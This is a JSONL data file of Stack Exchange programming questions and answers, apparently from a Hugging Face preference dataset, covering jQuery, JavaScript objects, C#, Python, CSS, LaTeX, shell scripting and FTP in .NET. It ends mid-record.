{"id": "hf_73a52960a687", "question": "<p>In jQuery, if I assign <code>class=auto_submit_form</code> to a form, it will be submitted whenever any element is changed, with the following code:</p>\n\n<pre><code>/* automatically submit if any element in the form changes */\n$(function() {\n  $(\".auto_submit_form\").change(function() {\n    this.submit();\n  });\n});\n</code></pre>\n\n<p>However, if I want to the form to submit only when specified elements are changed:</p>\n\n<pre><code>/* submit if elements of class=auto_submit_item in the form changes */\n$(function() {\n  $(\".auto_submit_item\").change(function() {\n    $(this).parents().filter(\"form\").submit();\n  });\n});\n</code></pre>\n\n<p>I'm just learning jQuery. Is there a better way to do this?</p>\n", "question_body": "", "answer": "```\n```\n/* submit if elements of class=auto_submit_item in the form changes */\n$(function() {\n   $(\".auto_submit_item\").change(function() {\n     $(\"form\").submit();\n   });\n });\n```\n```\nAssumes you only have one form on the page.  If not, you'll need to do select the form that is an ancestor of the current element using\n```\n$(this).parents(\"form\").submit()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.333410"}
{"id": "hf_c2aa0ef4473b", "question": "<p>I need to create simple reusable javascript object publishing several methods and parameterized constructor. After reading through several \"OOP in JavaScript\" guides I'm sitting here with an empty head. How on the Earth can I do this?</p>\n\n<p>Here my last non-working code:</p>\n\n<pre><code>SomeClass = function(id) {\n    this._id = id;\n}\n(function() {\n    function intFun() {\n        return this._id;\n    }\n    SomeClass.prototype.extFun = function() {\n        return incFun();\n    }\n})();\n</code></pre>\n", "question_body": "", "answer": "This is my usual approach:\n```\n```\nMyClass = function(x, y, z) {\n   // This is the constructor. When you use it with \"new MyClass(),\"\n   // then \"this\" refers to the new object being constructed. So you can\n   // assign member variables to it.\n   this.x = x;\n   ...\n};\nMyClass.prototype = {\n    doSomething: function() {\n        // Here we can use the member variable that\n        // we created in the constructor.\n        return this.x;\n    },\n    somethingElse: function(a) {\n    }\n};\n\nvar myObj = new MyClass(1,2,3);\nalert(myObj.doSomething()); // this will return the object's \"x\" member\nalert(myObj.x); // this will do the same, by accessing the member directly\n```\n```\nNormally the \"this\" keyword, when used in one of the object's methods, will refer to the object itself. When you use it in the constructor, it will refer to the new object that's being created. So in the above example, both alert statements will display \"1\".\nAn exception to this rule is when you pass one of your member functions somewhere else, and then call it. For example,\n```\n```\nmyDiv.onclick = myObj.doSomething;\n```\n```\nIn this case, JavaScript ignores the fact that \"doSomething\" belongs to \"myObj\". As a result, the \"this\" inside doSomething will point to another object, so the method won't work as expected. To get around this, you need to specify the object to which \"this\" should refer. You can do so with JavaScript's \"call\" function:\n```\n```\nmyDiv.onclick = function() {\n    myObj.doSomething.call(myObj);\n}\n```\n```\nIt's weird, but you'll get used to it eventually. The bottom line is that, when passing around methods, you also need to pass around the object that they should be called on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.396228"}
{"id": "hf_450987608ebe", "question": "<p>i have a few classes that i am trying to move to using generics</p>\n\n<p>Class1: Curve</p>\n\n<p>this class has the following code:</p>\n\n<pre><code>public class Curve : IEnumerable\n\n  IEnumerator IEnumerable.GetEnumerator()\n    {\n        return GetEnumerator(); // Calls non-interface method\n    }\n\n  public RTRatePointEnumerator GetEnumerator()\n    {\n        return new RTRatePointEnumerator(_hash);\n    }\n</code></pre>\n\n<p>Class 2:</p>\n\n<pre><code>  public class CurvePointEnumerator : IEnumerator\n</code></pre>\n\n<p>what is the recommended conversion of these two classes to using generics</p>\n", "question_body": "", "answer": "```\nIEnumerable<T> and IEnumerator<T>\n```\ngah, it swallowed my code", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.474658"}
{"id": "hf_95770abd9b43", "question": "<p>Basically, I would like to build a list comprehension over the \"cartesian product\" of two iterators. Think about the following <a href=\"http://www.haskell.org/haskellwiki/List_comprehension\" rel=\"noreferrer\">Haskell code</a>:</p>\n\n<pre><code>[(i,j) | i &lt;- [1,2], j &lt;- [1..4]]\n</code></pre>\n\n<p>which yields</p>\n\n<pre><code>[(1,1),(1,2),(1,3),(1,4),(2,1),(2,2),(2,3),(2,4)]\n</code></pre>\n\n<p>Can I obtain a similar behavior in Python in a concise way?</p>\n", "question_body": "", "answer": "Are you asking about this?\n```\n```\n[ (i,j) for i in range(1,3) for j in range(1,5) ]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.500006"}
{"id": "hf_678bcb907bd0", "question": "<p>Should the model just be data structures?  Where do the services (data access, business logic) sit in MVC?</p>\n\n<p>Lets assume I have a view that shows a list of customer orders.  I have a controller class that handles the clicks on the view controls (buttons, etc).</p>\n\n<p>Should the controller kick off the data access code? Think button click, reload order query. Or should this go through the model layer at all?</p>\n\n<p>Any example code would be great!</p>\n", "question_body": "", "answer": "The View would relay what should happen on a click in the UI to the Control layer, which would contain ALL business logic, and would in turn call the Model layer which would only make database calls. Only the model layer should be making database calls, or you will defeat the purpose of the MVC design pattern.\nThink about it this way. Let's say you change your database. You would want to limit the amount of code change required, and keep all those changes together without affecting other pieces of your application. So by keeping all data access in the Model layer, even the simple calls, you limit any changes required to the Model layer. If you were to bypass the Model layer for any reason, you would now have to extend any changes needed to any code that knows about the database, making such maintenance more complex than it should be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.525321"}
{"id": "hf_6ae7ecfdb3a6", "question": "<p>Assume that write operation throws an exception half-way.  Is there any data written into the file, or is no data written in the file?</p>\n", "question_body": "", "answer": "Short answer: Most likely some data will be written to the file, unless the disk is full at the start of the write operation.\nLonger answer: It will depend on what CFileException is thrown from the Write call.\nhttp://msdn.microsoft.com/en-us/library/as5cs056(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.549957"}
{"id": "hf_e2a47221ab07", "question": "<p>My question revolves around CSS Fixed Layout vs a Float Layout that extends to fill the width of the browser.</p>\n\n<p>Right now the issue I'm running into is to have the masthead resize depending on the width of the page (something that I understand isn't possible given current browser implementation of <a href=\"http://www.w3.org/TR/2002/WD-css3-background-20020802/\" rel=\"nofollow noreferrer\">CSS3's <code>background-image: size;</code></a>).  At this point, I feel like I've reached an impasse all around:  Do I rework the site to use a fixed CSS layout, or do I keep the current layout and try to make the masthead image expand to fill most of the space provided?  Moreover, what are the pros and cons of moving to a fixed width layout, and the other (unseen) ramifications of using one layout over another?</p>\n\n<p>The site in question will be given as a comment to this question -- I don't want to be seen as trying to increase traffic to it.</p>\n\n<p>Edit: Any other thoughts?</p>\n", "question_body": "", "answer": "If you are trying to expand your background-image to the width of your page, it is better to use a fixed-sized layout as there is no cross-browser method to making a background-image expand to varying sizes that are dependent on the visitors resolution.\nFixed width layouts provide more flexibility for the designer, but not for the visitor. If you create a layout that is X pixels wide, then you are able to fine-tune your website pixel-by-pixel to your liking whereas \"float\" layouts (I call them liquid layouts) are based entirely on percent values and therefore differ from computer-to-computer. I find this difficult because you can test the layout on your screen and not know how it appears on someone else's, and (for ex.) a 20px margin has more of an effect on a 768px or 960px fixed-width layout than it does on a 1280px-liquid computer screen.\nThe major con, IMO, to a fixed-width layout is the fact that it looks too small on larger screens and too big on smaller screens. 768px used to be a fairly standard fixed-width layout, but now that is too small as the world moves away from 800x600. Now 960px is fairly standard, which is too big for 800x600 but still too small on 1280x1024.\nIt all depends on your audience and how your site fits together. Some layout can be made liquid and work perfectly fine, while others must be fixed (like the one you described).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.575007"}
{"id": "hf_05386d1ebe66", "question": "<p>I really love the way Ajax makes a web app perform more like a desktop app, but I'm worried about the hits on a high volume site.  I'm developing a database app right now that's intranet based, that no more then 2-4 people are going to be accessing at one time.  I'm Ajaxing the hell out of it, but it got me to wondering, how much Ajax is too much?</p>\n\n<p>At what point does the volume of hits, outweigh the benefits seen by using Ajax?  It doesn't really seem like it would, versus a whole page refresh, since you are, in theory, only updating the parts that need updating.  </p>\n\n<p>I'm curious if any of you have used Ajax on high volume sites and in what capacity did you use it?  Does it create scaling issues?</p>\n", "question_body": "", "answer": "On my current project, we do use Ajax and we have had scaling problems. Since my current project is a J2EE site that does timekeeping for the employees of a large urban city, we've found that it's best if the browser side can cache data that won't change for the duration of a user session.  Fortunately we're moving to a model where we have a single admin process the timekeeping for as many employees as possible. This would be akin to how an ERP application might work (or an email application). Consequently our business need is that the browser-side can hold a lot of data, but we don't expect the volume of hits to be a serious problem. So we've kept an XML data island on the browser-side. In addition, we load data only on an as-needed basis.\nI highly recommend the book\nAjax Design Patterns\nor their\nsite\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.637137"}
{"id": "hf_6a81191bcad1", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/164926/c-sharp-how-do-i-round-a-decimal-value-to-2-decimal-places-for-output-on-a-pa\">c# - How do I round a decimal value to 2 decimal places (for output on a page)</a>  </p>\n</blockquote>\n\n\n\n<p>I want to truncate the decimals like below</p>\n\n<p>i.e.</p>\n\n<ul>\n<li>2.22939393 -> 2.229</li>\n<li>2.22977777 -> 2.229</li>\n</ul>\n", "question_body": "", "answer": "You can use\nMath.Round\n:\n```\n```\ndecimal rounded = Math.Round(2.22939393, 3); //Returns 2.229\n```\n```\nOr you can use ToString with the N3\nnumeric format\n.\n```\n```\nstring roundedNumber = number.ToString(\"N3\");\n```\n```\nEDIT:\nSince you don't want rounding, you can easily use\nMath.Truncate\n:\n```\n```\nMath.Truncate(2.22977777 * 1000) / 1000; //Returns 2.229\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.698581"}
{"id": "hf_161769e0569c", "question": "<p>I would like to know the best way to replace a standard textarea field with a rich text editor in Django Admin?</p>\n", "question_body": "", "answer": "There's an\nadd-on Django application\nto provide\nTinyMCE\nsupport for Django admin forms without having to muck around with admin templates or Django newform internals.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.735030"}
{"id": "hf_2c68d3026c0f", "question": "<p>I developed a greasemonkey script that refreshes a page and checks for certain updates. I would like to run this script in a tab and browse the internet in another tab, but then have the script automatically activate it's tab when an update is found.</p>\n\n<p>Im not sure how clear that was, maybe this is better:</p>\n\n<p>Tab 1 is running a greasemonkey script, refreshing every x seconds looking for the word \"foo\"</p>\n\n<p>Tab 2 is browsing stackoverflow</p>\n\n<p>-- Now on a refresh, the GM script finds the word \"foo\". This is when I want the tab focus to automatically shift from Tab 2 to Tab 1.</p>\n\n<p>Is this possible, and if so, how do I achieve this?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I'm pretty sure that firefox gives focus to tabs that call\n```\nalert()\n```\n. So just pop up an\n```\nalert('found foo')\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.772299"}
{"id": "hf_f54909f510bd", "question": "<p>I'm trying to display a caret (<code>^</code>) in math mode in LaTeX to represent the exclusive or operation implemented in the \"C languages\". By default, <code>^</code> is for creating a superscript in math mode. The closest I can seem to get is by using <code>\\wedge</code>, which isn't the same.</p>\n", "question_body": "", "answer": "How about\n```\n```\n\\^{}\n```\n```\nor\n```\n```\n\\verb|^|\n```\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.822687"}
{"id": "hf_74eb2f9b7fa8", "question": "<p>I recently got a Dell XPS 64-bit Vista for myself. Eclipse doesn't have their 64-bit version, but I've read on forums that they download Eclipse and work with Java 1.5 on the Vista with only some problems. I have Java 1.6 and Netbeans was easily downloadable.</p>\n\n<p>What's the basic/big difference that I'll notice if I shift to Netbeans from Eclipse now?</p>\n", "question_body": "", "answer": "I think it will be mostly culture shock. Things in different places. Features named different things.\nIf you really want to give Netbeans a try force yourself to use it for a month. It will suck for the first day or so as none of the shortcuts will be the same, various idioms will be different etc.\nAt the end of the month you will be competent enough in it that these things should have gone away and you can objectively decide if you like it more. (I'm currently trying this with IntelliJ btw. Current state, confused ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.851667"}
{"id": "hf_c06bc569f727", "question": "<p>I have an object, and I want to list all the selectors to which it responds. It feels like this should be perfectly possible, but I'm having trouble finding the APIs.</p>\n", "question_body": "", "answer": "Something like this should work (just put it in the object you're curious about). For example if you have an object that's a delegate and want to know what 'hooks' are available this will print out messages to give you that clue:\n```\n```\n-(BOOL) respondsToSelector:(SEL)aSelector {\n    printf(\"Selector: %s\\n\", [NSStringFromSelector(aSelector) UTF8String]);\n    return [super respondsToSelector:aSelector];\n}\n```\n```\nNote that I discovered this in the\niPhone Developer's Cookbook\nso I can't take credit! For example output I get from a\n```\nUIViewController\n```\nthat implements the protocols\n```\n<UITableViewDelegate, UITableViewDataSource>\n```\n:\n```\n```\nSelector: tableView:numberOfRowsInSection:\nSelector: tableView:cellForRowAtIndexPath:\nSelector: numberOfSectionsInTableView:\nSelector: tableView:titleForHeaderInSection:\nSelector: tableView:titleForFooterInSection:\nSelector: tableView:commitEditingStyle:forRowAtIndexPath:\nSelector: sectionIndexTitlesForTableView:\nSelector: tableView:sectionForSectionIndexTitle:atIndex:\n...\n...\netc.,etc.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.876662"}
{"id": "hf_2078b829cf0a", "question": "<p>I am trying to establish the best practice for handling the creation of child objects when the parent object is incomplete or doesn't yet exist in a web application. I want to handle this in a stateless way so in memory objects are out.</p>\n\n<p>For example, say we have a bug tracking application.</p>\n\n<p>A Bug has a title and a description (both required) and any number of attachments. So the \"Bug\" is the parent object with a list of \"Attachment\" children.</p>\n\n<p>So you present a page with a title input, a description input, and a file input to add an attachment. People then add the attachments but we haven't created the Parent Bug as yet.</p>\n\n<p>How do you handle persisting the added attachments ?  </p>\n\n<p>Obviously we have to keep track of the attachments added, but at this point we haven't persisted the parent \"Bug\" object to attach the \"Attachment\" to.</p>\n", "question_body": "", "answer": "I would normally just create the Bug object and its child, the Attachment object, within the same HTTP response after the user has submitted the form.\nIf I'm reading you right, the user input consists of a single form with the aforementioned fields for bug title, description, and the attached file.  After the user fills out these fields (including the selection of a file to upload), then clicks on Submit, your application receives all three of these pieces of data simultaneously, as POST variables in the HTTP request.  (The attachment is just another bit of POST data, as described in\nRFC 1867\n.)\nFrom your application's end, depending on what kind of framework you are using, you will probably be given a filename pointing to the location of the uploaded file in some suitable temporary directory.  E.g., with Perl's CGI module, you can do:\n```\n```\nuse CGI qw(:standard);\nmy $query = CGI->new;\nprint \"Bug title: \" . $query->param(\"title\") . \"\\n\";\nprint \"Description: \" . $query->param(\"description\"). \"\\n\";\nprint \"Path to uploaded attachment: \" . $query->param(\"attachment\") . \"\\n\";\n```\n```\nto obtain the name of the uploaded file (the file data sent through the form by your user is automatically saved in a temporary file for your convenience), along with its metadata.  Since you have access to both the textual field data and the file attachment simultaneously, you can create your Bug and Attachment objects in whatever order you please, without needing to persist any incomplete data across HTTP responses.\nOr am I not understanding you here?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.926754"}
{"id": "hf_27b5be416ee5", "question": "<p>I'm not familiar with shell scripting, so I'm not sure how to do it or if it is possible.  If you can give me links or advice, that would be great.</p>\n<p>What I want to do is:</p>\n<ul>\n<li><p>Create a file, simple text file\nEX:</p>\n<p>param1  (RANDOMVALUE)</p>\n<p>Where randomvalue is a random number generated.</p>\n</li>\n<li><p>run a program with that file we just created and output to a file</p>\n<p>./program filewejustcreated &gt; A</p>\n</li>\n</ul>\n<p>The program has already been created and it takes a filename as a parameter, no need to worry about that stuff.</p>\n<ul>\n<li>run another program with the file we just created, the program already exists and out put it to a file</li>\n</ul>\n<p>./Anotherprogram filewejustcreated &gt; B</p>\n<ul>\n<li><p>run a diff comamand on A, B</p>\n<p>diff A B</p>\n</li>\n</ul>\n<p>Display what diff returns...</p>\n<p>Thanks</p>\n<p>[Edit] I am using shell: tcsh</p>\n", "question_body": "", "answer": "You have almost written the script already. The only missing thing is the random number; I'll do it with Perl. Here is a quick & dirty solution in sh (or bash; I'm presuming you're on a Linux/Unix system):\n```\n```\n#!/bin/sh\nperl -e 'print \"TheWord (\", int(rand(1000)), \")\\n\"' > tempfile\n./program tempfile > A\n./Anotherprogram tempfile > B\n# rm tempfile  # this would delete 'tempfile' if uncommented\ndiff A B\n```\n```\nNow save this in a file (say, script.sh) and in a shell execute:\n```\n```\nchmod +x script.sh\n```\n```\nto make it executable, and\n```\n```\n./script.sh\n```\n```\nto run it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.026392"}
{"id": "hf_16126917a226", "question": "<p>I am stuck at properly aligning the generalization arrow between the classes. I could not make them appear as in the UML books.</p>\n", "question_body": "", "answer": "UML Model Diagrams - Visio - Microsoft Office Online\nOne note. If you want UML diagramm looks like classic book examples you should use Rational Rose instead of Visio.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.056468"}
{"id": "hf_d61b796f50bb", "question": "<p>In C#, it is possible to retrieve assembly related information like product name, version etc using reflection:</p>\n\n<pre><code>string productName = Assembly.GetCallingAssembly().GetName().Name;\nstring versionString = Assembly.GetCallingAssembly().GetName().Version.ToString();\n</code></pre>\n\n<p>How do I do the equivalent if the executing assembly is written in unmanaged C++ (say)? Is it even possible? Assume that I have a .NET dll which is being invoked in unmanaged code via a COM interface.</p>\n\n<p><strong>edit:</strong><br>\nTo make things absolutely clear, this is my scenario:</p>\n\n<ul>\n<li>I have an executable written in\nunmanaged C++ </li>\n<li>I have a dll written\nin C#/.NET </li>\n<li>The dll is invoked by the\nexecutable via a COM interface</li>\n<li>Within the .NET dll I want to be\nable to retrieve information like\nthe product name and version of the\ncalling executable.</li>\n</ul>\n\n<p>Possible?</p>\n", "question_body": "", "answer": "you could use the following code in VB.Net to retrieve extended document properties:\n```\n```\nSub Main()\n    Dim arrHeaders(41)\n\n    Dim shell As New Shell32.Shell\n    Dim objFolder As Shell32.Folder\n\n    objFolder = shell.NameSpace(\"C:\\tmp\\\")\n\n    For i = 0 To 40\n        arrHeaders(i) = objFolder.GetDetailsOf(objFolder.Items, i)\n    Next\n    For Each strFileName In objfolder.Items\n        For i = 0 To 40\n            Console.WriteLine(i & vbTab & arrHeaders(i) & \": \" & objFolder.GetDetailsOf(strFileName, i))\n        Next\n    Next\n\nEnd Sub\n```\n```\nAdd a COM reference to Microsoft Shell Controls and Automation to your project to compile.\nThe output of the above program will be a list of the meta data assigned to all files in C:\\tmp such as\n```\n```\n0       Name: dpvoice.dll\n1       Size: 208 KB\n2       Type: Application Extension\n3       Date Modified: 14.04.2008 04:41\n4       Date Created: 14.04.2008 04:41\n5       Date Accessed: 01.12.2008 09:56\n6       Attributes: A\n7       Status: Online\n8       Owner: Administrators\n9       Author:\n10      Title:\n11      Subject:\n12      Category:\n13      Pages:\n14      Comments:\n15      Copyright:\n16      Artist:\n17      Album Title:\n18      Year:\n19      Track Number:\n20      Genre:\n21      Duration:\n22      Bit Rate:\n23      Protected:\n24      Camera Model:\n25      Date Picture Taken:\n26      Dimensions:\n27      :\n28      :\n29      Episode Name:\n30      Program Description:\n31      :\n32      Audio sample size:\n33      Audio sample rate:\n34      Channels:\n35      Company: Microsoft Corporation\n36      Description: Microsoft DirectPlay Voice\n37      File Version: 5.3.2600.5512\n38      Product Name: Microsoftr Windowsr Operating System\n39      Product Version: 5.03.2600.5512\n40      Keywords:\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.080807"}
{"id": "hf_2f034fc47bc4", "question": "<p>Can someone tell me how to change directories using FtpWebRequest?  This seems like it should be an easy thing to do, but I'm not seeing it.</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>I just want to add...I don't have my heart set on FtpWebRequest.  If there's a better (easier) way to do FTP in .NET please let me know.</p>\n\n<hr>\n\n<p>Apparently there's no way to do it using a live connection, you need to change the uri to trick ftpwebrequest into using a different request (thanks Jon).</p>\n\n<p>So I'm looking for a 3rd party client...</p>\n\n<p>Some of the open source solutions I tried didn't work too well (kept crashing), but I found one open source solution that's passed some of my preliminary tests (<a href=\"http://sourceforge.net/projects/dotnetftpclient/\" rel=\"noreferrer\">.NET FTP Client</a>).</p>\n", "question_body": "", "answer": "There's a\nblog post\nfrom Mariya Atanasova which shows how you can fake it - basically you have to put the directory on the URL.\nI suspect you may be better off with a dedicated FTP library though - one that doesn't try to force everything into the WebRequest way of doing things. I haven't personally used any 3rd party libraries for this, but a search for \"FTP library .NET\" finds lots of candidates.\nEdit: jcolebrand (in case of 2006 blog linkrot possibility)\nMany customers ask us how they can use the CWD command with our FtpWebRequest.\nThe answer is: you cannot use the command directly, but you can modify the uri parameter to achieve the same result.\nLet's say you're using the following format:\n```\n```\nString uri = \"ftp://myFtpUserName:myFtpUserPassword@myFtpUrl\";\nFtpWebRequest Request = (FtpWebRequest)WebRequest.Create(uri);\nRequest.Method = \"LIST\";\n```\n```\nThe above example will bring you to your user's directory and list all the contents there. Now let's say you want to go 2 directories backwards and list the contents there (provided your user has permissions to do that). You close the previous FtpWebRequest and issue a new one with this uri\n```\n```\nuri = \"ftp://myFtpUserName:myFtpUserPassword@myFtpUrl/%2E%2E/%2E%2E\";\n```\n```\nThis is equivalent to logging in with your user's credentials and then using\n```\ncd ../../\n```\nNote: if you try using the\n```\n”..”\n```\ndirectly without escaping them the uri class will strip them, so\n```\n\"ftp://myFtpUserName:myFtpUserPassword@myFtpUrl/../..\"\n```\nis equivalent to\n```\n\"ftp://myFtpUserName:myFtpUserPassword@myFtpUrl/\"\n```\nNow let's say you want to go to another user's directory which is one level above the root. If you don't specify a user name and password it's equivalent to logging in as anonymous user. Then you issue a new\n```\nFtpWebRequest\n```\nwith the following uri\n```\n```\n\"ftp://myFtpUrl/%2F/anotherUserDir\"\n```\n```\nThis is equivalent to logging in as anonymous and then doing\n```\n```\nCd /\ncd anotherUserDirectory\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.155943"}
{"id": "hf_2cd9cbefd965", "question": "<p>It's been quite a while since I last used <a href=\"http://digitalmars.com/d\" rel=\"nofollow noreferrer\">D Programming Language</a>, and now I'm using it for some project that involves scientific calculations.</p>\n\n<p>I have a bunch of floating point data, but when I print them using <code>writefln</code>, I get results like: <code>4.62593E-172</code> which is a zero! How do I use string formatting % stuff to print such things as 0?</p>\n\n<p>Right now I'm using a hack:   </p>\n\n<pre><code>    if( abs(a) &lt; 0.0000001 )\n        writefln(0);\n    else\n        writefln(a);\n</code></pre>\n\n<p>it does the job, but I want to do it using the formatting operations, if possible.</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>someone suggested <code>writefln(\"%.3f\", a)</code> but the problem with it is that it prints needless extra zeros, i.e. <code>0</code> becomes <code>0.000</code> and <code>1.2</code> becomes <code>1.200</code><br>\nCan I make it also remove the trailing zeros?</p>\n", "question_body": "", "answer": "Try something like\n```\n```\nwritefln(\"%.3f\", a);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.181783"}
{"id": "hf_f79ac24e8c32", "question": "<p>Checkstyle reports this code as \"The double-checked locking idiom is broken\", but I don't think that my code actually is affected by the problems with double-checked locking.</p>\n\n<p>The code is supposed to create a row in a database if a row with that id doesn't exist. It runs in a multi-threaded environment and I want to avoid the primary-key-exists SQL-exceptions.</p>\n\n<p>The pseudo-code:</p>\n\n<pre><code>private void createRow(int id) {\n  Row row = dao().fetch(id);\n  if (row == null) {\n     synchronized (TestClass.class) {\n        row = dao().fetch(id);\n        if (row == null) {\n           dao().create(id);\n        }\n     }\n  }\n}\n</code></pre>\n\n<p>I can agree that it looks like double-checked locking, but I am not using static variables and the code in fetch() and create() is probably too complex to be inlined and put out of order.</p>\n\n<p>Am I wrong or checkstyle? :)</p>\n", "question_body": "", "answer": "Assuming you want that innermost line to read:\n```\n```\nrow = dao().create(id);\n```\n```\nIt's not a classic double-checked lock problem assuming\n```\ndao().fetch\n```\nis properly mutexed from the create method.\nEdit\n: (code was updated)\nThe classic problem of a double-checked lock is having a value assigned before initialization occurs where two threads are accessing the same value.\nAssuming the DAO is properly synchronized and will not return a partially initialized value, this doesn't suffer from the flaws of the double-checked lock idiom.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.218606"}
{"id": "hf_3faf10c8562e", "question": "<p>I'm currently working on a DNA database class and I currently associate each row in the database with both a match score (based on edit distance) and the actual DNA sequence itself, is it safe to modify first this way within an iteration loop?</p>\n\n<pre><code>typedef std::pair&lt;int, DnaDatabaseRow&gt; DnaPairT;\ntypedef std::vector&lt;DnaPairT&gt;          DnaDatabaseT;\n\n// ....\n\nfor(DnaDatabaseT::iterator it = database.begin();\n    it != database.end(); it++)\n{\n    int score = it-&gt;second.query(query);\n    it-&gt;first = score;\n}\n</code></pre>\n\n<p>The reason I am doing this is so that I can sort them by score later.  I have tried maps and received a compilation error about modifying first, but is there perhaps a better way than this to store all the information for sorting later?</p>\n", "question_body": "", "answer": "To answer your first question, yes. It is perfectly safe to modify the members of your pair, since the actual data in the pair does not affect the vector itself.\nedit:\nI have a feeling that you were getting an error when using a map because you tried to modify the\n```\nfirst\n```\nvalue of the map's internal pair. That would not be allowed because that value is part of the map's inner workings.\nAs stated by\ndribeas\n:\nIn maps you cannot change first as it would break the invariant of the map being a sorted balanced tree\nedit:\nTo answer your second question, I see nothing at all wrong with the way you are structuring the data, but I would have the database hold\npointers\nto\n```\nDnaPairT\n```\nobjects, instead of the objects themselves. This would dramatically reduce the amount of memory that gets copied around during the sort procedure.\n```\n```\n#include <vector>\n#include <utility>\n#include <algorithm> \n\ntypedef std::pair<int, DnaDatabaseRow> DnaPairT;\ntypedef std::vector<DnaPairT *>       DnaDatabaseT;\n\n// ...\n\n// your scoring code, modified to use pointers\nvoid calculateScoresForQuery(DnaDatabaseT& database, queryT& query)\n{\n    for(DnaDatabaseT::iterator it = database.begin(); it != database.end(); it++)\n    {\n        int score = (*it)->second.query(query);\n        (*it)->first = score;\n    